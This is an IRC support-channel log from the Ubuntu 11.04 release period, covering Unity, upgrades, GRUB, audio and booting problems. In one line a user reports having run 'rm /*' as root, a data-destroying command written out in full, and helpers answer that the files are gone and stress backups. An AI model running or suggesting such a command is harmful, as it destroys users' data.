[18:31] <billybob> escott: say direct rendreing is that what you need?
[18:31] <Chipzzz> justyellowboy: compression level is not the same as bits/pixel
[18:31] <rmatte> karthick87: not to be rude, but come on: http://lmgtfy.com/?q=remove+ppa+repo+from+commandline
[18:32] <escott> billybob, what video card is this?
[18:32] <MrTolkinghorn> tensorpudding ok. I've tried to turn of acpi and turn on hpet thinking it might have been a problem related to those.
[18:32] <stefg> paulm9: more likely in #ubuntu-server than in here :-)
[18:32] <billybob> escott old ati 9800
[18:32] <skullboy> how do i change the GRUB2 keyboard shortcuts
[18:32] <tekonivelo> my Gwibber has been refusing to open for about a week now (Natty 11.04)
[18:32] <justyellowboy> Thanks, guys, I was wondering where the index control levels were! I'll report back to you if it works out!
[18:32] <paulm9> stegf: thanks
[18:32] <rmatte> billybob: I didn't understand what you meant by "no one both"
[18:32] <rmatte> what is your setup?
[18:32] <tekonivelo> the Unity lens does display new posts by friends, though, so the Gwibber-service is working properly
[18:32] <rmatte> I have lots of experience with this sort of thing but I need to know what your setup is
[18:33] <escott> billybob, if thats really old it may not be powerful enough for compositing, but ati's are reasonably well supported
[18:33] <tensorpudding> MrTolkinghorn: have you checked /var/log/dmesg
[18:33] <IdleOne> skullboy: why would you want to? and I am going to guess you would need to do that in the source and recompile.
[18:33] <billybob> rmatte i meant no to both
[18:33] <MrTolkinghorn> yeah.
[18:33] <coder2> bullgard4: before I try to reinstall alsa-utils, please advise how to backup the system easily? It is very painful to reinstall the whole OS on this hardware, because 10.04 do not install on it and I need to install the OS on other motherboard and then return my again
[18:33] <rmatte> billybob: ok
[18:33] <tensorpudding> MrTolkinghorn: and /var/log/kern.log
[18:33] <MrTolkinghorn> tensorpudding there was nothing that I could find related to the crash in there.
[18:33] <rmatte> billybob: what kind of video card are you using?
[18:33] <MrTolkinghorn> tensorpudding same with that, nothing that really stood out.
[18:33] <tensorpudding> but you're sure it was due to a panic?
[18:33] <escott> skullboy, doubt you can, its not the most configurable thing
[18:33] <billybob> rmatte ati 9800 it is old but has woorked untill now
[18:33] <chrome_> When will firefox 4 be available for ubuntu?
[18:34] <escott> chrome_, it is in 11.04
[18:34] <WhitePelican> hello all, I need help with Medibuntu for natty
[18:34] <Wampyre> Thanks stefg
[18:34] <chrome_> escott: how do I know which version of ubuntu I have?
[18:34] <tekonivelo> i didn't find a bug on Gwibber launchpad about this
[18:34] <skullboy> well i want to encrypt my GRUB2 bootloader and i dont want people to just press e and edit the lock entry out
[18:34] <rmatte> billybob: hmmm, what about unity isn't working?
[18:34] <escott> chrome_, lsb_release -a in the terminal
[18:34] <rmatte> are you seeing artifacts left behind by windows and stuff?
[18:35] <billybob> rmatte: It wont run defaults to classic even when i choose unity
[18:35] <SeanChambers> i'm having problems booting into 11.04 after a successful install on a lenovo w500. I just get a blank screen with a blinking cursor in the upper left part of the screen
[18:35] <tensorpudding> chrome_: it's already available in 11.04
[18:35] <rmatte> billybob: oh, that's really weird
[18:35] <Lunar_Lamp> I'm getting segfaults in /var/log/kern.log every time I try to use apt-get or aptitude. Suggestions?
[18:35] <MrTolkinghorn> tensorpudding every time it crashes, it's a solid lock-up. the keyboard flashes, and it reboots in 30 seconds. I can only assume that's a kernel panic. sometimes If it crashes when booting, it'll show some of the error messages, but none of them seem related to the crash, just more stuff which looks like normal boot kernel log messages.
[18:35] <billybob> rmatte: story of my life
[18:35] <chrome_> escott: how can I upgrade ubuntu from the version 10.4 to the 11.04?
[18:35] <rmatte> billybob: it ran on my work workstation which has no graphics acceleration of any kind (didn't run well at all, but it did start)
[18:35] <bullgard4> !backup | coder2
[18:35] <ubottu> coder2: There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning
[18:35] <rmatte> billybob: sounds like possibly a package problem or something
[18:36] <billybob> rmatte: suggestions to fix?
[18:36] <SeanChambers> anyone else have problems with a blank screen with a blinking cursor when I would expect ubuntu to start to boot up
[18:36] <escott> chrome_, first check the website to see if you want 11.04 there are big differences, but if you want to go ahead start upgrade-manager
[18:36] <coder2> Ok, thank you, bullgard4 and Dr_Willis. Bye.
[18:36] <rmatte> billybob: unfortunately Unity is too new... I don't have any tricks up my sleeve for that one, I'd just be googling around like you are
[18:36] <tensorpudding> MrTolkinghorn: i guess that sounds like a panic, but every panic that i've had, when it happens, it switches to the console and dumps a stacktrace
[18:37] <billybob> rmatte: ths anyway
[18:37] <chrome_> ok
[18:37] <katejones> @IdleOne - I put the Alternative Ubuntu on my USB, that won't boot at all..?
[18:37] <chrome_> escott: but I guess 11.04 is better
[18:37] <bullgard4> SeanChambers: Please describe your situation in greater detail and the error messages you obtained.
[18:38] <bonhoffer> when coding in bash, what if i want to see line 10 of a text file
[18:38] <IdleOne> katejones: don't know how else to help. restate the problem you are having and someone else might have an idea.
[18:38] <bonhoffer> normally i open in emacs and do goto-line 10
[18:38] <escott> chrome_, drop into #ubuntu-offtopic and ask peoples opinions or just hang around and listen, some hate it others love it
[18:38] <rmatte> billybob: have you tried using Unity 2D?
[18:38] <SeanChambers> bullgard4: no error messages. after rebooting from intiail install, screen goes blank and there is a blinking cursor in the top left
[18:38] <Devil999> chrome_, now i have my doubts.
[18:38] <SeanChambers> bullgard4: left it sitting there for 10 minutes with no change
[18:38] <billybob> rmatte: no how do i do that?
[18:38] <chrome_> Devil999: why
[18:38] <akharris> Any1 here know how to use HDA Analyzer?
[18:38] <rmatte> billybob: apt-get install unity-2d
[18:39] <rmatte> then it'll be available in the list of session in your login manager
[18:39] <katejones> tried to install regular Ubuntu on notebook without cd drive so from USB = got MFD error and ubuntu wouldn't fully load (not live and no install). Put the iso on the USB with the Universal Windows installer thingie - no errors
[18:39] <rmatte> so just logout, select it, and log back in
[18:39] <rgb247> how can I undo deletion from terminal?
[18:39] <billybob> rmatte: then will it be a log in choice?
[18:39] <rgb247> I accidentally typed rm /* from root
[18:39] <iceroot> rgb247: with your backup
[18:39] <rmatte> billybob: yeh
[18:39] <billybob> rmatte: thks again
[18:39] <bullgard4> SeanChambers: Have you got access to a virtual console? Press Ctrl+Alt+F1.
[18:39] <Devil999> chrome_, well, in my case i don't like unity, and am trying to stick with classic (gnome). but some features have been removed, like the tray bar, and the "widgets"
[18:39] <rgb247> iceroot: can you explain please?
[18:39] <SeanChambers> bullgard4: nope. tried that
[18:39] <rmatte> I have to take off for now, later
[18:39] <iceroot> rgb247: now you know why it is a bad ida to use the root account and also a bad idea not to have a backup
[18:40] <iceroot> rgb247: the explanation is that your files are gone forever you cant recover them (only if you do backups)
[18:40] <SeanChambers> bullgard4: it doesnt seem like grub is even loading. i do the standard install from cd to install 11.04, goes well and upon rebooting i just get a blank screen
[18:40] <escott> rgb247, its always fun to see what happens when the shell tries to delete itself
[18:40] <SeanChambers> bullgard4: it doesnt seem to ever start loading ubuntu at all
[18:40] <_raven> 11.04 + huaway usb + aldi talk - does not connect to mobile network - any known issues?
[18:40] <iceroot> rgb247: dont use root/sudo if you dont know what you are doing
[18:40] <bullgard4> SeanChambers: You can investigate your system using a Ubuntu Live CD or just re-istall your system.
[18:40] <Devil999> chrome_, it's the buttons on the left side all over again. canonical says it's better, and we have to stick to it, or walk away.
[18:40] <SeanChambers> bullgard4: i am on the live cd now
[18:41] <Pricey> I have an AR2413 and just upgraded to Natty. Everything goes fine for a certian amount of time before the card stops working. Nothing'll bring it back except rebooting into the old kernel. Does anyone have any ideas?
[18:41] <chrome_> Devil999: I see
[18:41] <bullgard4> SeanChambers: What does GParted say about the partitions?
[18:41] <bastien> Devil999, Hi ! Me I stick to Xubuntu
[18:41] <brous-kee> Pricey, is that a wifi chip?
[18:42] <SeanChambers> hmm
[18:42] <stefg> Pricey: looks like a firmware (loading) problem
[18:42] <SeanChambers> bullgard4: /dev/sda1 is full drive3 size, ext4
[18:42] <Devil999> thing is, with the buttons we could solve it easily. with these problems it's not that easy, at least not yet. let's wait and see.
[18:42] <_raven> 11.04 + huaway usb + aldi talk - does not connect to mobile network - any known issues?
[18:42] <Pricey> brous-kee: Yes
[18:42] <SeanChambers> bullgard4: /dev/sda4 is extended, /dev/sda5 is swap
[18:43] <Pricey> stefg: But it works fine for say 30 minutes before dying
[18:43] <cyberfr0g> ok, so with unity, is there a way to save the status of your desktop? to make it persistant between reboots.
[18:43] <Devil999> bastien, problem is that i've tried xubuntu, and i don't like it. i love gnome. and i loved my desktop. at least until 11.04.
[18:43] <SeanChambers> bullgard4: /dev/sda4 is 4gb
[18:43] <stefg> Pricey: do you know what kernel module is used for that?
[18:43] <chrome_> escott: how do I start the upgrade-manager? did you mean update-manager?
[18:44] <escott> chrome_, yes sorry
[18:44] <Pricey> stefg: ath/ath5k
[18:44] <brous-kee> Pricey, umm i find that newer linux-es have been lacking a stable i/o interrupt services recovery, mine get stuck at even Firefox stalling the download and the rest of system freezes
[18:44] <Acid190> Third time asking help for this. Java chat applet error. Have Ubuntu 10.10, went with icedtea web plug-in, did not work. All java web plugins installed and certs are configured. Here is the error.
[18:44] <Pricey> stefg: looks like i'm not the only one.. various reports on forums infact
[18:44] <katejones> IdleOne : Kojinsha notebook, 11.04 Alternative om USB, I het the installer boot menu but can't choose anything there (it reloads the boot choice screen except fro on ''test memory' 'which it starts to do)
[18:44] <djazz> no one here have experience with bluetooth? :/
[18:44] <Pricey> brous-kee: the card works for a while
[18:44] <akharris>  ANY1 HERE ON MACINTOSH AND HAS PROBLEMS WITH SPEAKERS?
[18:44] <LjL> !caps
[18:44] <ubottu> PLEASE DON'T SHOUT! We can read lowercase too.
[18:44] <bullgard4> SeanChambers: 4GB is not ample but may be enough. --  Can you find a file /var/log/syslog or /var/log/dmesg?
[18:45] <brous-kee> Pricey, i know, its the interrupt service not recovering
[18:45] <escott> chrome_, PLEASE look at the release notes on unity and natty narwhal, we get lots of people coming in and complaining about how much they hate it
[18:45] <SeanChambers> bullgard4: on /dev/sda1?
[18:45] <Acid190> http://pastebin.com/Lh3AG4dP
[18:45] <escott> chrome_, or how it broke stuff
[18:45] <tonyyarusso> wow, fail
[18:45] <Devil999> djazz, yes.
[18:45] <stefg> Pricey: yeah ... ath5k...  have you tried to rmmod / modprobe -r the module and then modprobe it back in again? Does dmesg tell you anything?
[18:45] <katejones> akharris - I don't know for sure but I think you should install ALSA if I remember correctly (I'm sure there are more knowledgable people here..)
[18:45] <ubuntu> hi all
[18:46] <chrome_> escott: ok I'll check that out.
[18:46] <djazz> Devil999: bluetooth headset/handsfree/audio outputs?
[18:46] <Devil999> djazz, that not so much.
[18:46] <Pricey> stefg: will try
[18:46] <bullgard4> SeanChambers: On the partition where you or the installer mounted your root. Likely /dev/sda1.
[18:46] <Pricey> stefg: but not something i want to keep trying
[18:46] <LinXnut> hello
[18:47] <jamil_1> Hello ppl, I am having trouble with mouse click. Mouse click seems to drag the window...
[18:47] <SeanChambers> bullgard4: nothing in dmesg and no syslog file in there
[18:47] <jamil_1> I have unity....
[18:47] <djazz> Devil999: I can get it work, it appear in the soundcard list. But as soon I turn off bluetooth then on, it wont re-appear. I must delete the device then re-pair it
[18:48] <djazz> it says connected, but I cant choose it
[18:48] <bullgard4> SeanChambers: In that case I would probably try to re-install Ubuntu anew.
[18:48] <_raven> 11.04 + huaway usb + aldi talk - does not connect to mobile network - any known issues?
[18:48] <insta> hey guys i'm having a problem with 11.04 -- i just finished the upgrade from 10.10, no i have no touchpad on my laptop in either unity or classic, ideas?
[18:48] <SeanChambers> bullgard4: i've reinstalled it on that partition twice already with same results
[18:48] <SeanChambers> bullgard4: could grub not be installed correctly?
[18:49] <xangua> insta: press the key to enable/disable touchpad
[18:49] <Acid190> Anyone? Bueller? Anyone?
[18:50] <insta> what are you talking about, to enable the touchpad?  what button?
[18:50] <xangua> !anyone | Acid190
[18:50] <ubottu> Acid190: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.
[18:50] <katejones> @IdleOne - thanks for the help.. I think Ill just give up and stick to XP on this notebook, must be incompatible or something...
[18:50] <IdleOne> katejones: sorry I was not more help.
[18:50] <Acid190> xangua: have asked three times man
[18:50] <bullgard4> SeanChambers: I guess that your hardware is at fault or unsuitable. Did you check your hard disk, for example using GPrated? --  It is likely that Ubuntu installs Grub correctly.
[18:50] <katejones> Idleone - no problem, it's running fine on my Mac ;)
[18:50] <Devil999> djazz, sorry, i can't help you with that. i haven't been lucky with handsets and computers.
[18:50] <billybob> rmatte is there a way to change from classic to unity without login out?
[18:50] <IdleOne> katejones: good to hear.
[18:50] <djazz> lucky?
[18:51] <katejones> IdleOne - so dad has to stick with slow XP, I've had it with trying ;)
[18:51] <SeanChambers> bullgard4: i've installed 8.04 on this laptop before so I know the hardware is suitable
[18:51] <bullgard4> s/Gprated/GParted/.
[18:51] <IdleOne> katejones: maybe try with 10.10?
[18:51] <bullgard4> SeanChambers: A good point. Yes, then your hardware ist ok.
[18:51] <trailoryo> I just uninstalled the ati proprietary driver and replaced it with the open source driver. This fixed my original problem with choppyness, but now all of a sudden the sound is 100% broken. help!
[18:51] <SeanChambers> bullgard4: i'll try to reinstall again using gparted instead of letting it autoconfigure
[18:52] <katejones> IdleOne - Do you think that might work better? Ok, that's the last thing I'll try then. it's a weird small netbook though, touchscreen..
[18:52] <SeanChambers> bullgard4: i'll come back if it doesnt work. thank you for your help
[18:52] <Somelauw> Hi, how do I change lightness of the screen?
[18:52] <IdleOne> katejones: don't know for sure but worth a try.
[18:52] <JoshDreamland> Somelauw: Laptop?
[18:52] <katejones> IdleOne - thanks!
[18:52] <bullgard4> Somelauw: This depends on your hardware.
[18:52] <Somelauw> yes, laptop
[18:52] <JoshDreamland> Somelauw: What make?
[18:52] <Somelauw> hp 8530. Or do you want me to pastebin lspci?
[18:53] <Somelauw> Anyway the buttons aren t working.
[18:53] <JoshDreamland> Somelauw: Nah. The brightness keys do not work?
[18:53] <Somelauw> So I was wondering if there is a commandline way to configure it myself.
[18:53] <JoshDreamland> Somelauw:  Click the power manager, go to preferences, and use the control there. Or, add the brightness applet to panel.
[18:53] <KBentley57> hey guys.  I just insalled 11.04 and updated to gnome3.  However, now when I try to log in I get an error saying "cn't update ICEauthority".  I can't login as my normal user.  Any ideas?
[18:53] <newb_> Hello! Wy my chrome window have minimize/maximize/close buttons at left if all my gtk applications have buttons at right side?
[18:53] <newb_> &Why
[18:54] <newb_> **why
[18:54] <Somelauw> JoshDreamland: hp 8530w.
[18:54] <JoshDreamland> newb_: What Ubuntu version?
[18:54] <chrome_> escott: Do I need need to upgrade to the version 10.10 before I upgrade to 11.04?
[18:54] <JoshDreamland> Somelauw: Did you try the brightness applet?
[18:54] <newb_> JoshDreamland: 11.or
[18:54] <newb_> JoshDreamland: 11.04
[18:54] <JoshDreamland> newb_: Because everything in 11.04 is broken
[18:54] <billybob> how do i switch from classic to unity in 11.4
[18:54] <JoshDreamland> Without exception
[18:54] <insta> more updates: after plugging in a usb mouse, i can happily use my cursor. my touchpad doesn't show up in System -> Preferences -> Pointing Devices
[18:54] <xangua> KBentley57: you are on your own, gnome3 may break your system
[18:55] <xangua> billybob: on the log in screen
[18:55] <insta> JoshDreamland: am i to believe then that this was not ready to go gold :(
[18:55] <newb_> KBentley57: I think you can solve this removing .ICEAuthority file on your home directory (with root). Try this, but jut rename the file to backup it
[18:55] <bullgard4> !Unity | billybob
[18:55] <ubottu> billybob: Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[18:55] <Somelauw> How to start the brightness applet?
[18:55] <MnCC> how do i add other desitinations to the Nautilus "Copy To" or "Move To" menu's ?
[18:55] <Somelauw> JoshDreamland: How to start the brightness applet?
[18:55] <daedaluz> !jaunty
[18:55] <ubottu> Ubuntu 9.04 (Jaunty Jackalope) was the tenth release of Ubuntu. End Of Life: October 23, 2010. See !eol and !upgrade for more details.
[18:55] <KBentley57> i cant login as root either
[18:55] <JoshDreamland> Somelauw: Right click a bare spot on the panel, click "Add to panel"
[18:55] <newb_> JoshDreamland: In my PC this work great, but at netbook this happened and I don't know why...
[18:56] <escott> chrome_, if you are on 10.04 yes you have to upgrade to 10.10 first
[18:56] <xangua> !root | KBentley57
[18:56] <ubottu> KBentley57: Do not try to guess the root password, that is impossible. Instead, realise the truth... there is no root password. Then you will see that it is 'sudo' that grants you access and not the root password. Look at https://help.ubuntu.com/community/RootSudo
[18:56] <daedaluz> !feisty
[18:56] <ubottu> Ubuntu 7.04 (Feisty Fawn) was the sixth release of Ubuntu. End Of Life: October 19th, 2008. See !eol and !upgrade for more details.
[18:56] <newb_> KBentley57: *just
[18:56] <escott> chrome_, if you don't want to upgrade you could see if there is a lucid mozilla ppa
[18:56] <daedaluz> !eol
[18:56] <ubottu> End-Of-Life is the time when security updates and support for an Ubuntu release stop, see https://wiki.ubuntu.com/Releases for more information. Looking to upgrade from an EOL release? See https://help.ubuntu.com/community/EOLUpgrades
[18:56] <xangua> daedaluz: you can play with the bot in private
[18:56] <oCean> daedaluz: please use /msg ubottu !feisty
[18:56] <JoshDreamland> newb_: Did you update one, and do a fresh install on the other?
[18:56] <daedaluz> !maveric
[18:57] <KBentley57> so how would I go about logging in to remove the .ice file?
[18:57] <MnCC> !maverick
[18:57] <ubottu> Ubuntu 10.10 (Maverick Meerkat) was the thirteenth release of Ubuntu. Download http://releases.ubuntu.com/10.10/ - Release Info: http://www.ubuntu.com/getubuntu/releasenotes/1010
[18:57] <AMAG> Is there a FAQ item or something for 10.x -> 11.04 upgrade, nvidia driver installed and "activated" (green dot on Additional Drivers tool) but "not currently in use?"  I cannot figure this out.
[18:57] <Somelauw> def hej():
[18:57] <Somelauw>     print "hello"
[18:57] <Somelauw>     s = 10
[18:57] <Somelauw>     if s == 10:
[18:57] <FloodBot2> Somelauw: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[18:57] <Somelauw>         print "repeat"
[18:57] <Somelauw>     
[18:57] <cba123> Does anyone know I can create and burn a BDMV to play on my PS3?  As in encode videos to a BDMV file-structure and burn it to a blu-ray?  I have a blu-ray burner, but not sure what to do with either.
[18:57] <ThinkT510> !botabuse | daedaluz
[18:57] <ubottu> daedaluz: Please investigate with me only with "/msg ubottu Bot" or in #ubuntu-bots.  Search for factoids with "/msg ubottu !search factoid".
[18:57] <Somelauw> My terminal was messing with me.
[18:57] <passthru> ^^
[18:58] <passthru> first crash while running in Unity 2D after 24h of power on
[18:58] <passthru> ^^
[18:58] <newb_> JoshDreamland: Update in both
[18:58] <passthru> but i am liking :)
[18:58] <a111> I created a NTFS partition in ubuntu, but i cant read it on windows. How do i fix it?
[18:58] <Somelauw> Please remove zq again.
[18:58] <JoshDreamland> Somelauw: it's removed
[18:59] <JoshDreamland> newb_: That's really odd. Both had the same settings prior to the update?
[18:59] <passthru> a111, did you have really formated the partition or just made a "ntfs partition" entry on cfdisk ?
[18:59] <KBentley57> is there any chance of logging back in if it can't update the .ICEauthority file?  I can't get in with recovery console either.
[18:59] <a111> passthru, yeah, it has data on it.
[18:59] <a111> but windows 7 cannot read it
[18:59] <passthru> odd.
[19:00] <Froq> what driver will allow windows7 to read/write ext4?
[19:00] <a-saint> hello guys can someone please name me a good download manager
[19:00] <MnCC> none
[19:00] <rumpe1> a-saint, wget
[19:00] <passthru> a111, did you saw what fdisk -l returns ?
[19:00] <LjL> a-saint: my bot says The BESTEST download manager is aria2, because 2 people (67%) said so! Follow in order, kget (1 votes, 33%), jigdo, gwget, slimrat, wmget, fatrat, d4x, slimrat-nox, tucan, multiget, uget
[19:00] <Froq> what driver will allow windows7 to read/write ext4?
[19:00] <ThinkT510> Froq: there is an experimental ext2 driver for windows
[19:00] <passthru> a111, see if it really returns that partition as properly an NTFS-formated
[19:00] <MnCC> as far as i know, ext2 can be done ..
[19:01] <DestroiTe> I upgraded to 11.04 and now I get no sound from the front audio jack (headphone jack)
[19:01] <cba123> Froq, Patience, don't ask and re-ask so quick
[19:01] <Froq> ThinkT510: o!  Perfect, thanks
[19:01] <xangua> Froq google windows read ext4
[19:01] <justyellowboy> It worked, thanks!
[19:01] <Froq> cba123: sorry.
[19:01] <Calinou> a-saint: it's a personal choice, but i like uget
[19:01] <ThinkT510> !google | xangua
[19:01] <ubottu> xangua: While Google is useful for helpers, many newer users don't have the google-fu yet. Please don't tell people to "google it" when they ask a question.
[19:01] <MnCC> ThinkT510, how did your upgrade go ?
[19:01] <a-saint> rumpe1 Lji thatnk you\
[19:02] <BTice> Hello. I have a fresh 11.04 install on a Thinkpad T43. I added the Einstein game, but when I run it, the system hangs. I have to open a terminal session to kill it. It looks like it's trying to do a full-screen, but can't figure out the screen size, and rescales the Linux controls (upper right corner) off the edge of the screen. Any suggestions?
[19:02] <ThinkT510> MnCC: sorry? i think you have me confused?
[19:02] <a-saint> Calinou thank you
[19:02] <Calinou> wget isn't a download manager
[19:02] <Calinou> it's a downloader from terminal
[19:02] <Calinou> you can't pause the downloads/etc
[19:02] <taiyal^> why isn't Ubuntu 11.04 installer seeing any operating systems on my hard drive?
[19:02] <MnCC> ThinkT510, i have a ThinkPadL412 .. so i figured you might have upgraded as i did ? .. fingerprint reader broke down and some other stuff
[19:03] <burg> hello. i have ubuntu 11.04 64bit and every time there are two applications opened that have sound, i hear a load buzz (a lot of parazite sound) - is that a known bug? never had this problem with older versions of ubuntu
[19:03] <passthru> Calinou, theorically you can stop the download with CTRL+C and continue after
[19:03] <Owner> Raju: Are you still here?
[19:03] <stefg> Calinou: look at wget -c :-)
[19:03] <Somelauw> What is the name of the brightness applet? I am not using gnome.
[19:03] <passthru> Calinou, giving the same location to WGET with -c option
[19:03] <passthru> :)
[19:03] <Calinou> >.<
[19:03] <Calinou> sorry, i'm a linux noob
[19:03] <passthru> boo :)
[19:03] <ThinkT510> MnCC: i never upgrade, i always install afresh
[19:03] <passthru> np Calinou, we all are :)
[19:04] <DestroiTe> upgraded to 11.04 and now I cannot get sound from the front audio jack (headphones)
[19:04] <MnCC> ThinkT510, yeah .. thats what im gonna do the next time ... =)
[19:04] <ThinkT510> MnCC: never really tried using the fingerprint reader under ubuntu, got it working in fedora though (a while back with my t60)
[19:05] <wal3> where is the difference between: initrd.img-2.6.38-8-generic-pae and without pae?
[19:05] <xskydevilx> I'm trying to dual boot Windows and Ubuntu, and what filesystem should I use for the "/" (root) partition?
[19:05] <MnCC> ThinkT510, on 10.10. it worked perfectly
[19:05] <DestroiTe> xskydevilx: i used ext4 and never had problems
[19:05] <rodonsidh> hi guys! i've got a little problem with the update to 11.04 ... everytime i try to update it just downloads the two update-files but nothing is happening afterwards... any ideas?
[19:05] <ajf> help. all links open in firefox from external apps
[19:05] <ajf> yet chrome is default
[19:05] <ajf> ??
[19:05] <ThinkT510> !pae | wal3
[19:05] <DestroiTe> xskydevilx: but you won't be use the root partition under windows
[19:05] <ubottu> wal3: To use more than ~3.2GB RAM on a 32bit system you can install the PAE-enabled kernel. See https://help.ubuntu.com/community/EnablingPAE for more info
[19:05] <passthru> xskydevilx, atm i'm using brtfs (experimental) w/o problems :)
[19:05] <tomasz> ajf what app?
[19:05] <escott> xskydevilx, you won't be able to access ext4 from windows, if you want to share files between the two you need to create a third partition (ntfs) just for sharing
[19:06] <ajf> tomasz: terminal and skype
[19:06] <wal3> ThinkT510: ah ok. but the pae version does not boot thus i have 4gb
[19:06] <ajf> I click a link, firefox opens, chrome SHOULD open
[19:06] <tomasz> ajf look in prefered programs
[19:06] <MnCC> ThinkT510, did you have problems with hdd ticking ?
[19:06] <taiyal^> Why can't the Ubuntu installer see my partition layout even though "fdisk -l /dev/sda" sees it just fine?
[19:06] <newb_> JoshDreamland: This is the most strange: previous update chrome was working good....
[19:06] <tomasz> in preferencies or administrations
[19:06] <DestroiTe> does anyone know why front audio jack has no sound after upgrade?
[19:06] <J697> I want to make a launcher on OpenSUSE (I know, but nobody will help me on their channel), I want to make a launcher that will launch a jar application (Minecraft to be specific) and I made the launcher browsed for the jar file and made it, but when a double click on it, it does nothing O_O Can anyone please help?
[19:06] <xskydevilx> And does anyone know pros and cons of the JFS file system?
[19:06] <ThinkT510> MnCC: no
[19:06] <ajf> tomasz: ah, thanks!
[19:07] <newb_> JoshDreamland: I always use chrome, but just now the buttons simple changed their sided :_(
[19:07] <MnCC> ThinkT510, nvm then ..
[19:07] <xangua> !ubuntu | J697
[19:07] <ubottu> J697: Ubuntu is a complete Linux-based operating system, freely available with both community and professional support. It is developed by a large community and we invite you to participate too! - Also see http://www.ubuntu.com
[19:07] <uwex> test
[19:07] <deadpulse> Hi, I am having some problems with pulseaudio, sound gets muted every 5 seconds. I tried googling, but couldn't find much.
[19:07] <skullboy> how do i password the GRUB2 menu
[19:08] <Acid190> xangua:you read my pastebin? Make any sense of it?
[19:08] <ThinkT510> MnCC: sorry i'm not that helpful, but i have found the thinkpad t series very reliable
[19:08] <JoshDreamland> newb_: Which update? Also, are you sure there isn't a separate setting in chrome that wasn't just misconfigured? (Don't know why there would be)
[19:08] <J697> xangua, I know I fact I am just experimenting with different distros right now, I have always used Ubuntu, but 11.04 seemed to slow my computer down greatly :(
[19:08] <Owner> taiyal^: That might happen if the partition table is corrupted. see if parted is seeing the table correctly
[19:09] <BTice> I agree on Thinkpads, ThinkT510, though Natty isn't behaving that well on my T43.
[19:09] <MnCC> ThinkT510, .. i have my L412 working perfectly .. i mean .. everything .. except hdd .. but already found a fix ..
[19:09] <S-M-Gl> hello, any ideas why gnome 3 crashes and never loads in natty using the gnome3 ppa?
[19:09] <asfffsafs> hi
[19:09] <Falstaf> I just installed Ubuntu 11.04 on my (other) linux machine, but it doesn't seem to be communicating with the monitor.  I am getting a blank screen.
[19:09] <brontosaurusrex> i would like to partition an empty usb drive properly for a backup of my 10.10 system, for a boot of natty? how?
[19:09] <xangua> S-M-Gl: because it could break your system
[19:10] <deadpulse> brontosaurusrex, gparted
[19:10] <J697> When I upgraded to 11.04 my computer was slowed down quite a bit compared to when I used 10.10. Is there any fix for this?
[19:10] <MnCC> ThinkT510, not really true .. im missing a keyboard layout for the L412 .. i used the T60 instead ..
[19:10] <taiyal^> Owner: yeah, parted gives me an error "Can't have overlapping partitions"
[19:10] <ThinkT510> BTice: i have natty installed nicely on my t40, though that's xubuntu; always prefered xfce
[19:10] <brontosaurusrex> deadpulse, ok, anything special to look for? or just two ext4 partitions?
[19:10] <passthru> J697, using Unity (new interface) or classic ?
[19:10] <r4ykid> A bit ironic, but how do i disable the autojoin to freenode and #ubuntu on XChat?
[19:10] <newb_> JoshDreamland: Tried the chrome configurations, but I just found "use system" and "use compact... (default)".  nut now you talked, I will try remove chrome preferences. let me test
[19:10] <grendal-prime> hey guys, i need to install 10.04 on a machine with no cd or usb boot support
[19:10] <J697> passthru, both of them :(
[19:11] <passthru> J697, odd. i have a legacy PC and using Unity-2D w/o problems
[19:11] <passthru> J697, for me it is quite faster than the past version
[19:11] <MnCC> grendal-prime, try installing on another machine .. swap out hdd
[19:11] <J697> passthru, my specs are nothing to look at though
[19:12] <Ascavasaion> I have heard that I can install Ubuntu 10.04 LTS on an old AMD 1300MHz, 384Mb RAM and 20Gb HDD and then install a smaller desktop manager or something.  The installation is running and is at 63%.  HOw would I uninstall Gnome and get a smaller desktop running?
[19:12] <Owner> taiyal^: install testdisk http://www.cgsecurity.org/wiki/TestDisk
[19:12] <Owner> taiyal^: you can install it thru apt-get. enable the universe packages to get it
[19:12] <J697> passthru, actually I think I might know why I had problems with it, was it because when the install was downloading and I had to skip some files? My internet went down
[19:12] <passthru> J697, i heard about some persons get problem while using acceleration driver on X with Unity
[19:12] <deadpulse> brokendatapoint, maybe a differente partition for /home as well, in case you want to try something else in the future
[19:12] <passthru> *got
[19:13] <jamil_1> Hello ppl, mouse is not working the way it should. Left Click seems to drag the windows. Right click any where in an application doesnt show the application specific menu rather the generic move/close menu
[19:13] <passthru> J697, maybe
[19:13] <Falstaf> My 11.04 isn't connecting to the monitor any ideas on how I can fix this.
[19:13] <WannaBeGeekster> Wow.  What kind of hardware is required to run Unity?
[19:13] <mdpatrick> How do I uninstall a package?
[19:14] <passthru> J697, try disabling 3D acceleration and switching to classic mode to see it continues
[19:14] <WannaBeGeekster> mdpatrick: apt-get remove packagename
[19:14] <taiyal^^> oh cute, Firefox crashes when I try to look up something in hte Google bar
[19:14] <ThinkT510> !uninstall | mdpatrick
[19:14] <M1> mdpatrick: or you can use the software center
[19:14] <passthru> i didn't have problems since i'm using a non-accelerated video card
[19:14] <ubottu> mdpatrick: To learn how to uninstall applications in Ubuntu - please visit http://www.cyberciti.biz/faq/howto-delete-remove-software-using-apt-get-command/
[19:14] <passthru> and using Unity 2D
[19:14] <arand_> WannaBeGeekster: 3D accelerated graphics driver
[19:14] <kyubutsu> mdpatrick: use synaptic to find and install the package, or software centre if its just a single app
[19:14] <passthru> the only problem I had with this version was a annoying crash on unity :)
[19:14] <princej88> Hi,  I just isntalled natty on a dual monitor desktop, I was able to have multiple desktops before i installed the hardware drivers, now the monitors option just says unknown and cant detect monitors. Now both screens are mirrored and at low resolution. Any idea how to fix this. I even tried configuring the monitors through amd catalyst control center but no luck. Any ideas? thanks
[19:14] <J697> passthru, not sure if you know but on the Ubuntu home page the image shows when the thing in the top right corner is clicked, on my install the little thing covered up the whole screen, but on the picture it is minimized
[19:15] <DestroiTe> does anyone know how to fix the front audio jack not having sound?
[19:15] <Froq> http://www.linuxnov.com/ext4-vs-ext3-vs-ntfs-comparison-file-systems/
